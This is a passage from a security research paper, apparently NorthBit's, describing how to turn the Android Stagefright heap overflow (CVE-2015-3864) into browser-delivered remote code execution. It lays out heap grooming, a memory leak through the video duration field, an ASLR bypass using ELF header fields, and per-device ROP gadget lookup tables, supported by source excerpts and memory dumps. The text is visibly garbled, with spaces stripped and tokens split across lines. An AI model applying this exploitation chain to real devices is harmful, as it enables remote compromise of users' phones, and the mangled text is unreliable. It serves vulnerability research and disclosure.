0x6d696d65

0x63737472

0x0000000a

0xb2f9c850
0xb44096a0
:

0x74724944

0x696e3332

0x00000004

0x00000001
0xb44096b0
:

0x77696474

0x696e3332

0x00000004

0x000001e0

Weneedtoknowtheexactnumberofmetadataelementsinsertedbeforecorruption.Itssimple
aswecontrolthemediafilesowecanpredictitsstate.Wedonthavetooverwriteelements
withthesametypeofelements,onlytomakesureelementsareorderedbykey(asshown
above).

Tosummarize,weneedtooverwriteanarrayof16bytesstructureswithsortedelements.
Theseelementsareoftype:
key_value_pair_t
<
key
,
value>

asshownintheexampleabove.

Groomingtheheapisdoneinasimilarfashiontooverflowing
mDataSource
usingthesame
MPEG4atoms(
titl
,
gnre
,
auth,

pref
)andoverwriteusingthesameheapoverflowvulnerability,
namelyCVE20153864.

Thefinalduration,beforethemetadataisreturnedtothebrowser,isreturnedasastring.Itis
thelongestdurationfieldofalltracks:

StagefrightMetadataRetriever.cpp:574
:
//Thedurationvalueisastringrepresentingthedurationinms.
sprintf
(
tmp
,

"%"

PRId64
,

(
maxDurationUs
+

500
)

1000
);
mMetaData
.
add
(
METADATA_KEY_DURATION
,

String8
(
tmp
));

Itisultimatelyconvertedfrommicrosecondstomillisecond,causingsomedataloss.
Subsequently,wecanleakan8bytesintegerbacktothebrowserwithanaccuracyof500.

Itisimportanttonotethatthebrowserfiltersvalueswhosehighestbitsaresetsuchas
negativevalues,infinityorNaNs(eventhoughthesenumbershavemanyrepresentations).
Thesevalueswillbeignoredandthedurationfieldwillbesetto0.

Notethat
PRId64
formatsasigned64bitinteger.Thelargestpossiblevalidvalue,considering
theentireconversionprocess,is:
(
2
^
31

1
)

1000

499

2
,
147
,
483
,
647
,
499

0x000001F3:FFFFFE0B

Highervalueswilloverflowtothesignbitandthebrowserwillthenfilterthatvalueasnegative
durations(orinfinite/NaN)makenosense.

Finally,wecanleak8bytesonlyiftheir23highestbitsarefilledwithzeroesandafewmorebits
arelostfromthatvalueduetoroundingtothenearest1,000.Thisgivesusabout3235bitsof
usefuldatadependingonthevalue.

ASLRWeaknesses
TheASLRalgorithmon32bitARMlinuxsystemsissimpleitmovesallmodulesarandom
amountofpagesdown,between0and255pages.Theamountofpagesshifted,calledthe
ASLRslide
,isgeneratedonprocessstartupandpersistsfortheentirelifetimeoftheprocess.

mmap.c:172
:
unsigned

long
arch_mmap_rnd
(
void
)
{

unsigned

long
rnd
;

/*8bitsofrandomnessin20addressspacebits*/

rnd

(
unsigned

long
)
get_random_int
()

(
1

<<

8
);

return
rnd

<<
PAGE_SHIFT
;
}

Thisvalueisthenpassedtommap_base:
mmap.c:33
:

static

unsigned

long
mmap_base
(
unsigned

long
rnd
)
{

unsigned

long
gap
=
rlimit
(
RLIMIT_STACK
);

if

(
gap
<
MIN_GAP
)
gap
=
MIN_GAP
;

else

if

(
gap
>
MAX_GAP
)
gap
=
MAX_GAP
;

return
PAGE_ALIGN
(
TASK_SIZE

gap

rnd
);
}

EverymoduleisloadedtoitspreferredbaseaddressandthenshifteddownbytheASLRslide.
Toconfirmthis,weveranmediaserverhundredsoftimesrecordingthepossibleaddress
rangesforallmodules.Alladdressrangeswere256pages,asexpectedbytheASLR
randomizationanddistancesfromothermodulesremainedthesame.Thus,theASLRslideis
thesameforallmodules.15

SincetheASLRslideisthesameforallmodules,weneedtoknowasinglemodulesbase
addressinordertoknowthememorylayoutofallothermodules,andasshownabove,there
areonly256options.

Wecanusetheprebuiltlookuptableofdeviceversiontogadgetoffsets.Onceweknowone
modulesbaseaddresswecantranslatethesegadgetoffsetstoabsoluteaddresses!

DeviceFingerprinting
Conveniently,alloftherequiredgadgetsresidewithinlibc.so.Gadgetoffsetsmaychange
betweendeviceswithdifferentlibc.soversions.However,inmanycasesonecanfingerprint
accordingtotheUserAgentHTTPheaderaloneasthelattermayincludedevicebuildversion
andAndroidversion.

Bybuildingalookuptableofdeviceversiontogadgetoffsets,weeliminatetheneedtoperform
expensiveoperationsatruntime.Thefinalprerequisiteforaremotecodeexecutionisthebase
addressoflibc.soatruntime!

Findinglibc.so
Theresearchof/proc/
pid
/mapsrevealedthatmodulelocationsarealmostpredictable,witha
maximumdistanceof256pages.Assumingtheresareadablememorysectionlargerthan256
pages(1MB),wecanguaranteethattheaddressatthemodulespreferedbaseexistsand
pointstothatmodulepossiblywithanoffsetofupto255pages.

Thefollowingdiagramshowsthisconcept:

Note:thismethodworkedonmostdevicestestedexceptforonedevicethatloadedsomemodules
dynamicallyattimesandinanorderwecouldnotpredict.
15

Thelibicui18n.somodulewillwork,asthecodesectionisreadableandlargerthan1MB:
b6a1c000
b6b77000

rxp00000000b3:191110/system/lib/libicui18n.so
b6b77000b6b78000p0000000000:000
b6b78000b6b82000rp0015b000b3:191110/system/lib/libicui18n.so
b6b82000b6b83000rwp00165000b3:191110/system/lib/libicui18n.so

Notethatsomemoduleshaveaguardpageinbetweensections(e.g..text,.data,...),however
weonlyrequirealargeenoughcontinousmemoryregion.Inthiscase,thetextsectionismore
thansufficentasitssizeis1,388pages.

TheASLRslideisthedistancebetweenthemodulespreferredbaseandthemodulesruntime
baseaddress:
final_base=preferred_baseaslr_slide

andso:
aslr_slide
=
preferred_base

final_base

(NotethatASLRshiftsdown)

WeknowtheELFheaderhastobepagealignedandoddlyenough,theELFheaderisinthe
beginningoftheexecutableregion:
(
gdb
)
x
/
16x

0xb6a1c000
0xb6a1c000
:

0x464c457f

0x00010101

0x00000000

0x00000000
0xb6a1c010
:

0x00280003

0x00000001

0x00000000

0x00000034
0xb6a1c020
:

0x00165268

0x05000000

0x00200034

0x00280008
0xb6a1c030
:

0x00160017

0x00000006

0x00000034

0x00000034

Startingfromthepreferredbaseandgoingonepagedownatatime,weeventuallylandonthe
ELFheader.However,wecannotleaktheELFheadersincethe8bytesvalueislargerthanthe
limitationsofthismethod.TheELFheadersfirst8bytesare:
0x00010101
:
464c457f

whilethemaximumlimittoleakisasshownearlier:
0x000001F3:FFFFFE0B

Theresonefieldthatseemstobesomewhatuniquetoeachmodule.Wecanleakitasits
rd
highestbitsalwaysseemtobezeroitisthe
p_memsz
and
p_flags
ofthe3
programheader
tableatoffset0x88:
0x34bytesfortheELFheaderplus0x20fortwopreviousprogramheadertablesplus0x14for
thefieldsoffset.

Thefollowingdiagramshowsthe
ELFfileformat
andthefieldofinterest:

rd
Thememsz(
p_memsz
)fieldofthe3
programheadertablemeetsourcriteriaitisreadable,
moduleuniqueandatconstantposition.

ThefollowingcommanddumpsELFheadervalues,sowecanfindtheaforementionedvalue:
armlinuxandroideabiobjdumpplibstagefright.so

libstagefright.so:fileformatelf32littlearm

ProgramHeader:
PHDRoff
0x00000034
vaddr
0x00000034
paddr
0x00000034
align
2
**2
filesz
0x00000100
memsz
0x00000100
flagsr

INTERPoff
0x00000134
vaddr
0x00000134
paddr
0x00000134
align
2
**0
filesz
0x00000013
memsz
0x00000013
flagsr

LOADoff
0x00000000
vaddr
0x00000000
paddr
0x00000000
align
2
**
12
filesz
0x00108fe2
memsz
0x00108fe2
flagsr
x
LOADoff
0x00109488
vaddr
0x0010a488
paddr
0x0010a488
align
2
**
12
filesz
0x00009300
memsz
0x00009358
flagsrw

DYNAMICoff
0x0010ead8
vaddr
0x0010fad8
paddr
0x0010fad8
align
2
**2
filesz
0x000001b8
memsz
0x000001b8
flagsrw
STACKoff
0x00000000
vaddr
0x00000000
paddr
0x00000000
align
2
**0
filesz
0x00000000
memsz
0x00000000
flagsrw
0x70000001
off
0x000d616c
vaddr
0x000d616c
paddr
0x000d616c
align
2
**2
filesz
0x00004650
memsz
0x00004650
flagsr

RELROoff
0x00109488
vaddr
0x0010a488
paddr
0x0010a488
align
2
**3
filesz
0x00008b78
memsz
0x00008b78
flagsrw

(Notethatthe8bytesvalueissharedwith
p_flags,
however,italwaysseemstobeaverysmallvalue
neverexceedingthemaximumvaluelimitation)

rd
Wecannowbuildalookuptable,oneentryperdevice,oflibicui8n.so
p_memsz
field(ofthe3

programheadertable)askeytodistancesfromlibc.so.

Thismethodallowsleakingonlyafewbitsofinformationthroughthesefieldspermediafile
parsedbythevictim.Thevictimhastodownloadandparseupto256mediafilesjusttofindthe
ELFheaderinordertofixgadgetoffsetstoabsoluteaddresses.Thecodeexecutionmediafile
mightbelargeinsizeduetotheheapsprayabout32MBormorefortheheapspraytofallon
thepredictableaddress.

HTTPsupportsGZIPcompressedcontent.Fora32MBmediafile,filledmostlywithzeroes,we
getatotalof33kBofnetworktrafficabout1,000timessmallermakingexploitationinthewild
quitepossible!

PuttingItAllTogether
Ourexploitconsistsofseveralmodulesforeasyautomationandgenerationofexploitsin
realtime.Thesemodulesare:
Crash
Generatesasmallandgenericmediafile
Crashesmediaservertoresetitsstate
Checksthepresenceofthevulnerabilitywhenautomatingtestsandbuilding
lookuptables
RCE
Generatesadevicecustomizedmediafileexecutingshellcodeinmediaserver
Lookuptableprovidesgadgetoffsetsandlibc.sopreferedbaseaddress
ReceivestheruntimeASLRslideasparameterandtranslatesgadgetoffsetsto
absoluteaddresses
Leak
Generatesadevicecustomizedmediafiletoleakmemoryfromthemediaserver
process
Receivesanaddresstoleakfromasparameter
Thisaddressmaybeunmappedorguardpagecausescrash
Informationisreturnedthroughthe
duration
fieldofthe
<video>
tag
RequireswebbrowsertosupportXmlHttpRequestwith
blob
responsetype
Notsupportedonveryoldbrowserversions
SupportedsinceChrome19
Samsung'sSBrowserisbasedonChromiumoldestversionisbasedon
Chromium18
MaybeirrelevantasROMswithveryoldbrowsersmightnotimplement
ASLRatall

Thefollowingdiagramshowstheentireflowofexploitation:

FinalRequirements
Themethodsshowninthispaperrequirehavingsomepriorknowledgeaboutthevictims
device.EvenifonemayobservethevictimsUserAgentheader,byitselfitdoesnotprovide
anycriticalinformationaboutthedevicesuchasgadgetoffsetsorpredictableaddresses.

Thelookuptablesusesdevicebuildaskeytofindrelevantinformationforexploitation.Tobuild
them,onemusthave:
libc.so
Extractpreferedbaseaddress
Extractthefourrequiredgadgets(mentionedin
ROPChainGadgets
section)
pop
{
pc}
pop
{
r0
,
r1
,
r2
,
pc}
stackpivotgadgetaddress
mprotectaddress
libicui8n.so
Extractpreferedbaseaddress
Calculatedistancefromlibc.so
ELFheadermoduleidentifier
jemallocconfiguration
Sizesofjemallocregions
Canbeextractedfromlibc.so
Canrunatestprogramonthedevicetofindthesevalues
Predictableheapsprayaddress
Theoptimalvalueforthisaddressvariesbetweendevicesbutinpractice,the
sameaddressmaybeusedformultipledevices
Bestoptionistorunmultipletestsonthedevice

Withfurtherresearchitmaybepossibletolayasideallorsomeofthelookuptables,thus
achievinganevenmoregenericexploit.

Notethattofindsomeofthesevalues,itisoptimaltohavearealdevice.Thelibc.soand
libicui8n.somodules,aswellasthejemallocconfigurationcanbeextractedfromtheROMs
systemimage,whilethepredictableheapsprayaddresscanbeguessedalthoughmaynotbe
optimalforsomedevices.

Summary
Thisresearchshowsexploitationofthisvulnerabilityisfeasible.Eventhoughauniversalexploit
withnopriorknowledgewasnotachieved,becauseitisnecessarytobuildlookuptablesper
ROM,ithasbeenprovenpracticaltoexploitinthewild.

OurexploitworksbestonNexus5withstockROM.ItwasalsotestedonHTCOne,LGG3and
SamsungS5,howeverexploitationisslightlydifferentbetweendifferentvendors.Slight
modificationswereneeded.

Itsimportanttonotethatthisisaremotecodeexecutionvulnerability,itmaystillbenecessary
toelevateprivillegesofthemediaserverprocessasdifferentvendorsgavemediaserverandits
groupsdifferentpermissions.(seein/init.rc)

Exploittimeswhenrelyingonlibicui8n.somodulevariesbetweenafewsecondsandupto2
minutes.
Inthebonussectionamoresophisticatedmethodisshowntofurtherdecreasethesetimesby
aboutafactorof4.

Itsworthtonote:
23.5%ofAndroiddevicesareversions5.05.1about235,000,000devices
4.0%ofAndroidversionsareversions2.xwithnoASLRabout40,000,000devices
Althougholddeviceshavesomanyvulnerabilitiesalready

Lookingatthesenumbersitshardtocomprehendhowmanydevicesarepotentioaly
vulnerable.

Statisticstakenfrom:
http://www.statista.com/statistics/271774/shareofandroidplatformsonmobiledeviceswithandroidos/

ThesenumbersmayincludemanyAndroidtabletsandTVsandperhapsevenwatches,butthevulnerabilitymay
existonthemtoo.

Bonus
ImprovingHeapSprayEffectiveness
In
exploit38226
,theheapsprayeffectivenesswasdoubledbywrappingthespraydatawiththe
stbl
atom.Thiscanbefurtherimprovedandwasillustratedquitewellin
NCCGrouppaper16 .
Usingthismethod,thesizeoftheremotecodeexecutionexploitcanbegreatlyreduced.

ImprovingExploitationTimes
Wecansignificantlydecreasethenumberofleaksneededbyleakingdifferentinformationfrom
theELFheader.RatherthanleakingtheELFheader,wecanchooseanarbitraryaddress
insideanymodulerichmemoryregion.

Heresanexampleofamemoryregionof728pages,containing24ELFheadersandonly5
pagesizeinaccessibleholes.

b6c92000b6cd3000rxp/system/lib/libgui.so
b6cd3000b6cd4000p[guard]
b6cd4000b6ce0000rp/system/lib/libgui.so

b6e8b000b6ea0000rxp/system/lib/libutils.so

b6ed6000b6ed7000p[guard]
b6ed7000b6ed8000rp/system/lib/libspeexresampler.so
...
b6f69000b6f6a000rwp/system/lib/libm.so
(thesevaluesareboundtochangesignificantlybetweendifferentdevicesitismerelyforthesakeoftheexample)

Wecanchooseaddresseswithinthisregionatrandom:
Thereareonly5holesthechanceofcrashingisonly0.69%permediafileparsed
Thereare57pageswhichwecanidentifyproviding7.83%chancetofindtheASLR
slidepermediafileparsed

Forcomparison,guessingtheASLRslideoutof256optionsprovidesonly0.39%chanceof
successpermediafileparsed.

Exploitationtimesusingthismethodvariedbetween250millisecondsto30seconds,withan
averageof5to10seconds,dependingontheamountofidentifiers,device,workload,network
stabilityandmostimportantlytheamountofleaksattempted.Thistimeframeiswellwithin
reason.

16

https://nccgroup.trust/globalassets/ourresearch/uk/whitepapers/2016/01/libstagefrightexploitnotespdf/

ResearchSuggestions
ThemethoddescribedtoleakinformationcannotbeusedonSBrowserItseemstoprevent
loadingvideosthroughan
XmlHttpRequest
objectwith
responseType=blob.
Itisunclearifitis
somekindofattackmitigationorunsupportedfeatures.

Onemaybeabletobypassthe
NuCachedSource2::readInternalm
ethod
CHECK_LE
macro:
NuCachedSource2:579
:
ssize_t

NuCachedSource2
::
readInternal
(
off64_t
offset
,

void

*
data
,

size_t
size
)
{
CHECK_LE
(
size
,

(
size_t
)
mHighwaterThresholdBytes
);

byprovidinghigh
mHighwaterThresholdBytes
valuethroughthe
xcacheconfig
HTTPheader:
NuCachedSource2:687
:
void

NuCachedSource2
::
updateCacheParamsFromString
(
const

char

*
s
)
{

ssize_t
lowwaterMarkKb
,
highwaterMarkKb;

int
keepAliveSecs;

/*the's'parameteristhexcacheconfigHTTPheader*/

if

(
sscanf
(
s
,

"%zd/%zd/%d",

&
lowwaterMarkKb
,

&
highwaterMarkKb
,

&
keepAliveSecs
)

!=

3
)
{

...

...

if

(
highwaterMarkKb
>=

0
)
{
mHighwaterThresholdBytes
=
highwaterMarkKb
*

1024;

else
{
mHighwaterThresholdBytes
=
kDefaultHighWaterThreshold;
}

ResearchingDRMcontentmayalsobeprovenessentialinordertoutilizetheleakmethodto
Androidversion4.4.4.

Credits
GilDabah&ArielShiftanfortheopportunity(andthepaycheck)
ShacharMenasheforbearingwithmethroughthisresearchinaprofessionalmanner
YotamShtossellinguisticadvisorandmentalsupervisor
E.P.liftingmeupwhenIwasdown

JoshuaDrakefromZimperiumoriginalexploit
GoogleProjectZero,whoseresearchblogpostandexploithaveboostedthisresearch
significantly.

References
NorthBit,homeoftheteamwhoresearchedthisvulnerability:
NorthBitltd.

JDrakeswhitepaper:
JDrakeswhitepaper

CVEused:
CVE20153864

Googlesblogpostaboutstagefright:
GoogleProjectZero:Stagefrightened

GooglesimplementationofCVE20153864:
exploit38226

Nicetrickusing
stb
latomrecursivelytoincreaseheapsprayeffectiveness:
NCCGrouppaperonlibstagefright

ELFfileformat:
https://en.wikipedia.org/wiki/Executable_and_Linkable_Format

jemallocimplementationpaper:
https://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf

Agreatpaperaboutjemallocfromanhackerspointofview,byPatroklosArgyroudisand
CharitonKaramitas:
https://media.blackhat.com/bhus12/Briefings/Argyoudis/BH_US_12_Argyroudis_Exploiting_th
e_%20jemalloc_Memory_%20Allocator_WP.pdf

You might also like